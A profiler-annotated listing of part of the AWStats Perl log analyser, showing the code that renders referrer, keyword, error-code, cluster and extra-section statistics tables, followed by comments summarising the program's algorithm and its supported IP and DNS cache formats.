10300 $total_h += $_se_referrals_h{$key};
10301 $count++;
10302 }
10303 if ($Debug) { debug("Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",2); }
10304 $rest_p=$TotalSearchEnginesPages-$total_p;
10305 $rest_h=$TotalSearchEnginesHits-$total_h;
10306 if ($rest_p > 0 || $rest_h > 0) {
10307 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
10308 print "<td>$rest_p</td>";
10309 print "<td>$rest_h</td>";
10310 print "</tr>\n";
10311 }
10312 print "</table>";
10313 }
10314 print "</td>\n";
10315 if ($ShowOriginStats =~ /P/i) { print "<td valign=\"top\">".($_from_p[2]?$_from_p[2]:"&nbsp;")."</td><td valign=\"top\">".($_from_p[2]?"$p_p[2] %":"&nbsp;")."</td>"; }
10316 if ($ShowOriginStats =~ /H/i) { print "<td valign=\"top\">".($_from_h[2]?$_from_h[2]:"&nbsp;")."</td><td valign=\"top\">".($_from_h[2]?"$p_h[2] %":"&nbsp;")."</td>"; }
10317 print "</tr>\n";
10318 #------- Referrals by external HTML link
10319 print "<tr".Tooltip(14)."><td class=\"aws\"><b>$Message[41]</b> - <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=refererpages"):"$PROG$StaticLinks.refererpages.$StaticExt")."\"$NewLinkTarget>$Message[80]</a><br />\n";
10320 if (scalar keys %_pagesrefs_h) {
10321 print "<table>\n";
10322 $total_p=0; $total_h=0;
10323 my $count=0;
10324 &BuildKeyList($MaxNbOf{'RefererShown'},$MinHit{'Refer'},\%_pagesrefs_h,((scalar keys %_pagesrefs_p)?\%_pagesrefs_p:\%_pagesrefs_h));
10325 foreach my $key (@keylist) {
10326 print "<tr><td class=\"aws\">- ";
10327 &ShowURLInfo($key);
10328 print "</td>";
10329 print "<td>".($_pagesrefs_p{$key}?$_pagesrefs_p{$key}:'0')."</td>";
10330 print "<td>$_pagesrefs_h{$key}</td>";
10331 print "</tr>\n";
10332 $total_p += $_pagesrefs_p{$key};
10333 $total_h += $_pagesrefs_h{$key};
10334 $count++;
10335 }
10336 if ($Debug) { debug("Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",2); }
10337 $rest_p=$TotalRefererPages-$total_p;
10338 $rest_h=$TotalRefererHits-$total_h;
10339 if ($rest_p > 0 || $rest_h > 0) {
10340 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
10341 print "<td>$rest_p</td>";
10342 print "<td>$rest_h</td>";
10343 print "</tr>\n";
10344 }
10345 print "</table>";
10346 }
10347 print "</td>\n";
10348 if ($ShowOriginStats =~ /P/i) { print "<td valign=\"top\">".($_from_p[3]?$_from_p[3]:"&nbsp;")."</td><td valign=\"top\">".($_from_p[3]?"$p_p[3] %":"&nbsp;")."</td>"; }
10349 if ($ShowOriginStats =~ /H/i) { print "<td valign=\"top\">".($_from_h[3]?$_from_h[3]:"&nbsp;")."</td><td valign=\"top\">".($_from_h[3]?"$p_h[3] %":"&nbsp;")."</td>"; }
10350 print "</tr>\n";
10351 #------- Referrals by internal HTML link
10352 if ($IncludeInternalLinksInOriginSection) {
10353 print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
10354 if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[4]?$_from_p[4]:"&nbsp;")."</td><td>".($_from_p[4]?"$p_p[4] %":"&nbsp;")."</td>"; }
10355 if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[4]?$_from_h[4]:"&nbsp;")."</td><td>".($_from_h[4]?"$p_h[4] %":"&nbsp;")."</td>"; }
10356 print "</tr>\n";
10357 }
10358 #------- Unknown origin
10359 print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
10360 if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[1]?$_from_p[1]:"&nbsp;")."</td><td>".($_from_p[1]?"$p_p[1] %":"&nbsp;")."</td>"; }
10361 if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[1]?$_from_h[1]:"&nbsp;")."</td><td>".($_from_h[1]?"$p_h[1] %":"&nbsp;")."</td>"; }
10362 print "</tr>\n";
10363 &tab_end();
10364 }
10365
10366 print "\n<a name=\"keys\">&nbsp;</a>\n\n";
10367
10368 # BY SEARCH KEYWORDS AND/OR KEYPHRASES
10369 #-------------------------------------
10370 if ($ShowKeyphrasesStats) { print "$Center<a name=\"keyphrases\">&nbsp;</a>"; }
10371 if ($ShowKeywordsStats) { print "$Center<a name=\"keywords\">&nbsp;</a>"; }
10372 if ($ShowKeyphrasesStats || $ShowKeywordsStats) { print "<br />\n"; }
10373 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>"; }
10374 if ($ShowKeyphrasesStats) {
10375 # By Keyphrases
10376 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "<td width=\"50%\" valign=\"top\">\n"; }
10377 if ($Debug) { debug("ShowKeyphrasesStats",2); }
10378 &tab_head("$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=keyphrases"):"$PROG$StaticLinks.keyphrases.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>",19,($ShowKeyphrasesStats && $ShowKeywordsStats)?95:70,'keyphrases');
10379 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(15)."><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
10380 $total_s=0;
10381 my $count=0;
10382 &BuildKeyList($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'},\%_keyphrases,\%_keyphrases);
10383 foreach my $key (@keylist) {
10384 my $mot;
10385 # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
10386 if ($PluginsLoaded{'DecodeKey'}{'decodeutfkeys'}) { $mot=CleanXSS(DecodeKey_decodeutfkeys($key,$PageCode||'iso-8859-1')); }
10387 else { $mot = CleanXSS(DecodeEncodedString($key)); }
10388 my $p;
10389 if ($TotalKeyphrases) { $p=int($_keyphrases{$key}/$TotalKeyphrases*1000)/10; }
10390 print "<tr><td class=\"aws\">".XMLEncode($mot)."</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
10391 $total_s += $_keyphrases{$key};
10392 $count++;
10393 }
10394 if ($Debug) { debug("Total real / shown : $TotalKeyphrases / $total_s",2); }
10395 $rest_s=$TotalKeyphrases-$total_s;
10396 if ($rest_s > 0) {
10397 my $p;
10398 if ($TotalKeyphrases) { $p=int($rest_s/$TotalKeyphrases*1000)/10; }
10399 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
10400 print "<td>$p&nbsp;%</td></tr>\n";
10401 }
10402 &tab_end();
10403 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "</td>\n"; }
10404 }
10405 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "<td> &nbsp; </td>"; }
10406 if ($ShowKeywordsStats) {
10407 # By Keywords
10408 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "<td width=\"50%\" valign=\"top\">\n"; }
10409 if ($Debug) { debug("ShowKeywordsStats",2); }
10410 &tab_head("$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=keywords"):"$PROG$StaticLinks.keywords.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>",19,($ShowKeyphrasesStats && $ShowKeywordsStats)?95:70,'keywords');
10411 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(15)."><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
10412 $total_s=0;
10413 my $count=0;
10414 &BuildKeyList($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'},\%_keywords,\%_keywords);
10415 foreach my $key (@keylist) {
10416 my $mot;
10417 # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
10418 if ($PluginsLoaded{'DecodeKey'}{'decodeutfkeys'}) { $mot=CleanXSS(DecodeKey_decodeutfkeys($key,$PageCode||'iso-8859-1')); }
10419 else { $mot = CleanXSS(DecodeEncodedString($key)); }
10420 my $p;
10421 if ($TotalKeywords) { $p=int($_keywords{$key}/$TotalKeywords*1000)/10; }
10422 print "<tr><td class=\"aws\">".XMLEncode($mot)."</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
10423 $total_s += $_keywords{$key};
10424 $count++;
10425 }
10426 if ($Debug) { debug("Total real / shown : $TotalKeywords / $total_s",2); }
10427 $rest_s=$TotalKeywords-$total_s;
10428 if ($rest_s > 0) {
10429 my $p;
10430 if ($TotalKeywords) { $p=int($rest_s/$TotalKeywords*1000)/10; }
10431 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
10432 print "<td>$p %</td></tr>\n";
10433 }
10434 &tab_end();
10435 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "</td>\n"; }
10436 }
10437 if ($ShowKeyphrasesStats && $ShowKeywordsStats) { print "</tr></table>\n"; }
10438
10439 print "\n<a name=\"other\">&nbsp;</a>\n\n";
10440
10441 # BY MISC
10442 #----------------------------
10443 if ($ShowMiscStats) {
10444 if ($Debug) { debug("ShowMiscStats",2); }
10445 print "$Center<a name=\"misc\">&nbsp;</a><br />\n";
10446 my $Totalh=0; my %new_browser_h=();
10447 if ($_misc_h{'AddToFavourites'}) {
10448 foreach my $key (keys %_browser_h) {
10449 $Totalh+=$_browser_h{$key};
10450 if ($key =~ /^msie/i) { $new_browser_h{"msiecumul"}+=$_browser_h{$key}; }
10451 }
10452 if ($new_browser_h{'msiecumul'}) { $_misc_h{'AddToFavourites'}=int(0.5+$_misc_h{'AddToFavourites'}*$Totalh/$new_browser_h{'msiecumul'}); }
10453 }
10454 my $title="$Message[139]";
10455 &tab_head("$title",19,0,'misc');
10456 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
10457 print "<th width=\"100\">&nbsp;</th>";
10458 print "<th width=\"100\">&nbsp;</th>";
10459 print "</tr>\n";
10460 my %label=('AddToFavourites'=>$Message[137],'JavascriptDisabled'=>$Message[168],'JavaEnabled'=>$Message[140],'DirectorSupport'=>$Message[141],
10461 'FlashSupport'=>$Message[142],'RealPlayerSupport'=>$Message[143],'QuickTimeSupport'=>$Message[144],
10462 'WindowsMediaPlayerSupport'=>$Message[145],'PDFSupport'=>$Message[146]);
10463 foreach my $key (@MiscListOrder) {
10464 my $mischar=substr($key,0,1);
10465 if ($ShowMiscStats !~ /$mischar/i) { next; }
10466 my $total=0;
10467 my $p;
10468 if ($MiscListCalc{$key} eq 'v') { $total=$TotalVisits; }
10469 if ($MiscListCalc{$key} eq 'u') { $total=$TotalUnique; }
10470 if ($MiscListCalc{$key} eq 'hm') { $total=$_misc_h{'TotalMisc'}||0; }
10471 if ($total) { $p=int(($_misc_h{$key}?$_misc_h{$key}:0)/$total*1000)/10; }
10472 print "<tr>";
10473 print "<td class=\"aws\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"").$label{$key}.($PageDir eq 'rtl'?"</span>":"")."</td>";
10474 if ($MiscListCalc{$key} eq 'v') { print "<td>".($_misc_h{$key}||0)." / $total $Message[12]</td>"; }
10475 if ($MiscListCalc{$key} eq 'u') { print "<td>".($_misc_h{$key}||0)." / $total $Message[18]</td>"; }
10476 if ($MiscListCalc{$key} eq 'hm') { print "<td>-</td>"; }
10477 print "<td>".($total?"$p %":"&nbsp;")."</td>";
10478 print "</tr>\n";
10479 }
10480 &tab_end();
10481 }
10482
10483 # BY HTTP STATUS
10484 #----------------------------
10485 if ($ShowHTTPErrorsStats) {
10486 if ($Debug) { debug("ShowHTTPErrorsStats",2); }
10487 print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
10488 my $title="$Message[32]";
10489 &tab_head("$title",19,0,'errors');
10490 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
10491 $total_h=0;
10492 my $count=0;
10493 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_errors_h,\%_errors_h);
10494 foreach my $key (@keylist) {
10495 my $p=int($_errors_h{$key}/$TotalHitsErrors*1000)/10;
10496 print "<tr".Tooltip($key,$key).">";
10497 if ($TrapInfosForHTTPErrorCodes{$key}) { print "<td><a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=errors$key"):"$PROG$StaticLinks.errors$key.$StaticExt")."\"$NewLinkTarget>$key</a></td>"; }
10498 else { print "<td valign=\"top\">$key</td>"; }
10499 print "<td class=\"aws\">".($httpcodelib{$key}?$httpcodelib{$key}:'Unknown error')."</td><td>$_errors_h{$key}</td><td>$p %</td><td>".Format_Bytes($_errors_k{$key})."</td>";
10500 print "</tr>\n";
10501 $total_h+=$_errors_h{$key};
10502 $count++;
10503 }
10504 &tab_end("* $Message[154]");
10505 }
10506
10507 # BY SMTP STATUS
10508 #----------------------------
10509 if ($ShowSMTPErrorsStats) {
10510 if ($Debug) { debug("ShowSMTPErrorsStats",2); }
10511 print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
10512 my $title="$Message[147]";
10513 &tab_head("$title",19,0,'errors');
10514 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
10515 $total_h=0;
10516 my $count=0;
10517 &BuildKeyList($MaxRowsInHTMLOutput,1,\%_errors_h,\%_errors_h);
10518 foreach my $key (@keylist) {
10519 my $p=int($_errors_h{$key}/$TotalHitsErrors*1000)/10;
10520 print "<tr".Tooltip($key,$key).">";
10521 print "<td valign=\"top\">$key</td>";
10522 print "<td class=\"aws\">".($smtpcodelib{$key}?$smtpcodelib{$key}:'Unknown error')."</td><td>$_errors_h{$key}</td><td>$p %</td><td>".Format_Bytes($_errors_k{$key})."</td>";
10523 print "</tr>\n";
10524 $total_h+=$_errors_h{$key};
10525 $count++;
10526 }
10527 &tab_end();
10528 }
10529
10530 # BY CLUSTER
10531 #----------------------------
10532 if ($ShowClusterStats) {
10533 if ($Debug) { debug("ShowClusterStats",2); }
10534 print "$Center<a name=\"clusters\">&nbsp;</a><br />\n";
10535 my $title="$Message[155]";
10536 &tab_head("$title",19,0,'clusters');
10537 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
10538 &ShowClusterInfo('__title__');
10539 if ($ShowClusterStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; }
10540 if ($ShowClusterStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; }
10541 if ($ShowClusterStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; }
10542 print "</tr>\n";
10543 $total_p=$total_h=$total_k=0;
10544 # Cluster feature might have been enable in middle of month so we recalculate
10545 # total for cluster section only, to calculate ratio, instead of using global total
10546 foreach my $key (keys %_cluster_h) {
10547 $total_p+=int($_cluster_p{$key}||0);
10548 $total_h+=int($_cluster_h{$key}||0);
10549 $total_k+=int($_cluster_k{$key}||0);
10550 }
10551 my $count=0;
10552 foreach my $key (keys %_cluster_h) {
10553 my $p_p=int($_cluster_p{$key}/$total_p*1000)/10;
10554 my $p_h=int($_cluster_h{$key}/$total_h*1000)/10;
10555 my $p_k=int($_cluster_k{$key}/$total_k*1000)/10;
10556 print "<tr>";
10557 print "<td class=\"aws\">Computer $key</td>";
10558 &ShowClusterInfo($key);
10559 if ($ShowClusterStats =~ /P/i) { print "<td>".($_cluster_p{$key}?$_cluster_p{$key}:"&nbsp;")."</td><td>$p_p %</td>"; }
10560 if ($ShowClusterStats =~ /H/i) { print "<td>$_cluster_h{$key}</td><td>$p_h %</td>"; }
10561 if ($ShowClusterStats =~ /B/i) { print "<td>".Format_Bytes($_cluster_k{$key})."</td><td>$p_k %</td>"; }
10562 print "</tr>\n";
10563 $count++;
10564 }
10565 &tab_end();
10566 }
10567
10568 # BY EXTRA SECTIONS
10569 #----------------------------
10570 foreach my $extranum (1..@ExtraName-1) {
10571 if ($Debug) { debug("ExtraName$extranum",2); }
10572 print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
10573 my $title=$ExtraName[$extranum];
10574 &tab_head("$title",19,0,"extra$extranum");
10575 print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
10576 print "<th>".$ExtraFirstColumnTitle[$extranum]."</th>";
10577
10578 if ($ExtraStatTypes[$extranum] =~ m/P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; }
10579 if ($ExtraStatTypes[$extranum] =~ m/H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
10580 if ($ExtraStatTypes[$extranum] =~ m/B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
10581 if ($ExtraStatTypes[$extranum] =~ m/L/i) { print "<th width=\"120\">$Message[9]</th>"; }
10582 print "</tr>\n";
10583 $total_p=$total_h=$total_k=0;
10584 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
10585 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
10586 my $count=0;
10587 if ($ExtraStatTypes[$extranum] =~ m/P/i) {
10588 &BuildKeyList($MaxNbOfExtra[$extranum],$MinHitExtra[$extranum],\%{'_section_' . $extranum . '_h'},\%{'_section_' . $extranum . '_p'});
10589 }
10590 else {
10591 &BuildKeyList($MaxNbOfExtra[$extranum],$MinHitExtra[$extranum],\%{'_section_' . $extranum . '_h'},\%{'_section_' . $extranum . '_h'});
10592 }
10593 foreach my $key (@keylist) {
10594 my $firstcol = CleanXSS(DecodeEncodedString($key));
10595 $total_p+=${'_section_' . $extranum . '_p'}{$key};
10596 $total_h+=${'_section_' . $extranum . '_h'}{$key};
10597 $total_k+=${'_section_' . $extranum . '_k'}{$key};
10598 print "<tr>";
10599 printf("<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>", $firstcol, $firstcol, $firstcol, $firstcol, $firstcol);
10600 if ($ExtraStatTypes[$extranum] =~ m/P/i) { print "<td>" . ${'_section_' . $extranum . '_p'}{$key} . "</td>"; }
10601 if ($ExtraStatTypes[$extranum] =~ m/H/i) { print "<td>" . ${'_section_' . $extranum . '_h'}{$key} . "</td>"; }
10602 if ($ExtraStatTypes[$extranum] =~ m/B/i) { print "<td>" . Format_Bytes(${'_section_' . $extranum . '_k'}{$key}) . "</td>"; }
10603 if ($ExtraStatTypes[$extranum] =~ m/L/i) { print "<td>" . (${'_section_' . $extranum . '_l'}{$key}?Format_Date(${'_section_' . $extranum . '_l'}{$key},1):'-') . "</td>"; }
10604 print "</tr>\n";
10605 $count++;
10606 }
10607 if ($ExtraAddAverageRow[$extranum]) {
10608 print "<tr>";
10609 print "<td class=\"aws\"><b>$Message[96]</b></td>";
10610 if ($ExtraStatTypes[$extranum] =~ m/P/i) { print "<td>" . ($count?($total_p/$count):"&nbsp;") . "</td>"; }
10611 if ($ExtraStatTypes[$extranum] =~ m/H/i) { print "<td>" . ($count?($total_h/$count):"&nbsp;") . "</td>"; }
10612 if ($ExtraStatTypes[$extranum] =~ m/B/i) { print "<td>" . ($count?Format_Bytes($total_k/$count):"&nbsp;") . "</td>"; }
10613 if ($ExtraStatTypes[$extranum] =~ m/L/i) { print "<td>&nbsp;</td>"; }
10614 print "</tr>\n";
10615 }
10616 if ($ExtraAddSumRow[$extranum]) {
10617 print "<tr>";
10618 print "<td class=\"aws\"><b>$Message[102]</b></td>";
10619 if ($ExtraStatTypes[$extranum] =~ m/P/i) { print "<td>" . ($total_p) . "</td>"; }
10620 if ($ExtraStatTypes[$extranum] =~ m/H/i) { print "<td>" . ($total_h) . "</td>"; }
10621 if ($ExtraStatTypes[$extranum] =~ m/B/i) { print "<td>" . Format_Bytes($total_k) . "</td>"; }
10622 if ($ExtraStatTypes[$extranum] =~ m/L/i) { print "<td>&nbsp;</td>"; }
10623 print "</tr>\n";
10624 }
10625 &tab_end();
10626 }
10627
10628 &html_end(1);
10629 }
10630}
10631else {
10632 print "Jumped lines in file: $lastlinenb\n";
10633 if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
10634 print "Parsed lines in file: $NbOfLinesParsed\n";
10635 print " Found $NbOfLinesDropped dropped records,\n";
10636 print " Found $NbOfLinesCorrupted corrupted records,\n";
10637 print " Found $NbOfOldLines old records,\n";
10638 print " Found $NbOfNewLines new qualified records.\n";
10639}
10640
10641#sleep 10;
10642
1064319.0e-69.0e-60; # Do not remove this line
10644
10645
10646#-------------------------------------------------------
10647# ALGORITHM SUMMARY
10648#
10649# Read_Config();
10650# Check_Config() and Init variables
10651# if 'frame not index'
10652# &Read_Language_Data($Lang);
10653# if 'frame not mainleft'
10654# &Read_Ref_Data();
10655# &Read_Plugins();
10656# html_head
10657#
10658# If 'migrate'
10659# We create/update tmp file with
10660# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
10661# Rename the tmp file
10662# html_end
10663# Exit
10664# End of 'migrate'
10665#
10666# Get last history file name
10667# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
10668# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
10669#
10670# &Init_HashArray()
10671#
10672# If 'update'
10673# Loop on each new line in log file
10674# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
10675# If line corrupted, skip --> next on loop
10676# Drop wrong virtual host --> next on loop
10677# Drop wrong method/protocol --> next on loop
10678# Check date --> next on loop
10679# If line older than $LastLine, skip --> next on loop
10680# So it's new line
10681# $LastLine = time or record
10682# Skip if url is /robots.txt --> next on loop
10683# Skip line for @SkipHosts --> next on loop
10684# Skip line for @SkipFiles --> next on loop
10685# Skip line for @SkipUserAgent --> next on loop
10686# Skip line for not @OnlyHosts --> next on loop
10687# Skip line for not @OnlyFiles --> next on loop
10688# Skip line for not @OnlyUserAgent --> next on loop
10689# So it's new line approved
10690# If other month/year, create/update tmp file and purge data arrays with
10691# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
10692# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
10693# Define PageBool and extension
10694# Analyze: Misc tracker --> complete %misc
10695# Analyze: Add to favorites --> complete %_misc, countedtraffic=1 (not counted anywhere)
10696# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
10697# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
10698# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
10699# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
10700# If (!countedtraffic) Analyze: File types - Compression
10701# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
10702# If (!countedtraffic) Analyze: Login
10703# If (!countedtraffic) Do DNS Lookup
10704# If (!countedtraffic) Analyze: Country
10705# If (!countedtraffic) Analyze: Host - Url - Session
10706# If (!countedtraffic) Analyze: Browser - OS
10707# If (!countedtraffic) Analyze: Referer
10708# If (!countedtraffic) Analyze: EMail
10709# Analyze: Cluster
10710# Analyze: Extra (must be after 'Define a clean Url and Query')
10711# If too many records, we flush data arrays with
10712# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
10713# End of loop
10714#
10715# Create/update tmp file
10716# Seek to lastlineoffset in logfile to read and get last line into $_
10717# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
10718# Rename all created tmp files
10719# End of 'update'
10720#
10721# &Init_HashArray()
10722#
10723# If 'output'
10724# Loop for each month of required year
10725# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
10726# End of loop
10727# Show data arrays in HTML page
10728# html_end
10729# End of 'output'
10730#-------------------------------------------------------
10731
10732#-------------------------------------------------------
10733# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
10734# Format /etc/hosts x.y.z.w hostname
10735# Format analog UT/60 x.y.z.w hostname
10736#-------------------------------------------------------
10737
10738#-------------------------------------------------------
10739# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
10740#
10741# 13.1.68.3 IPv4 (d.d.d.d)
10742# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
10743# ::13.1.68.3
10744# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
10745# ::FFFF:13.1.68.3 IPv6
10746#
10747# 1070:0:0:0:0:800:200C:417B IPv6
10748# 1070:0:0:0:0:800:200C:417B IPv6
10749# 1070::800:200C:417B IPv6
10750#-------------------------------------------------------

Report produced by the NYTProf 2.07 Perl profiler, developed by Tim Bunce and Adam Kaplan.